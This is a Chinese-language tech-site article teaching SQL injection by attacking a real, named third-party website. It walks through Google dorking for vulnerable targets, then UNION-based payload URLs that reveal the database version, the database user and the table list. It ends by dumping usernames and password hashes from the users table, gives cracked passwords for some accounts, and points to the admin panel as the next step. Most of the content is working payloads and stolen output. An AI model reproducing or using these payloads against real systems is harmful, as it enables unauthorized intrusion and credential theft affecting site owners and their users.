频道栏目
首页 > 资讯 > SQL Server > 正文

SQL注入

15-03-25        来源:[db:作者]  
收藏   我要投稿

通过成功地SQL注入,可能可以拿到目标数据库的全部信息!

首先要找到目标网址,以进行漏洞测试。

在google中搜索:inurl:news.php?id=2

任意点入一个网址:在网址后追加SQL语句,如果报错,则OK,可注入,如果未报错,无可注入漏洞或未找到。

比如,找到一个网址:http://www.calidus.ro/en/news.php?id=2

将此链接变成如下,去访问

http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1--
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2--
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3--
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3,4--
前三个会提示如下信息:

Query failed: The used SELECT statements have a different number of columns

由于union的两个查询的列的数量需要一样,所以可知正常的查询就是4个列。
第四个返回正常的文章外,还返回了

2

4

说明1,3虽然查询了,但是没有显示出来,那我们就利用2,4字段。

http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,database()--
5.1.70-log
caliduzb_calidussql
以上,查出了数据库的版本和当前数据库名。

下面,查出数据库用户名。

http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,user()--
5.1.70-log
caliduzb_calidus@localhost

由于此版本已经不支持password()函数,暂时无法查到密码。

下面的sql查出当前数据库中所有的表.

http://www.calidus.ro/en/news.php?id=2 union select1,2,3,group_concat(table_name) from information_schema.tables  where table_schema=database()--

2
about,about_de,about_en,categories,categories_de,categories_en,
contact,contact_de,contact_en,customers,eco,eco_de,eco_en,
faq,faq_de,faq_en,forum_answer,forum_question,galleries,
gallery,gallery_de,gallery_en,gallery_images,imp,mission,mission_de,
mission_en,news,news_de,news_en,pellets,pellets_de,pellets_en,prices,
products,products_de,products_en,projects,projects_de,projects_en,
special_offers,special_offers_de,special_offers_en,support,support_de,
support_en,users,vizion,vizion_de,vizion_en

看到一个users表,先看看字段:

http://www.calidus.ro/en/news.php?id=2 union select 1,2,3,group_concat(column_name) from information_schema.columns  where table_name='users'--
 user_id,user_type,user_regdate,username,user_password,user_email,user_lastvisit,user_last_confirm_key,user_new_privmsg,logcode,username_clean

有用户名、密码字段。

下面就查一下用户名、密码。

http://www.calidus.ro/en/news.php?id=2 union select 1,username,3,user_password from users--

dexmod

a0dbde9503e13437db0f854b0b72a73b

admin

63a9f0ea7bb98050796b649e85481845

miladro

122f961db675f6a45b998594471a990b

用户名是明文,密码hash过。上解密网站一查,分别是marjan,root,没解出来。

到这里,去找网站的管理界面就可以管理网站了。(已经给网站联系邮箱发邮件告知sql注入漏洞)

相关TAG标签
上一篇:从数据类型nvarchar转换为numeric时出错
下一篇:VS2008C#Sqlserver2008数据库的连接,增删改查
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站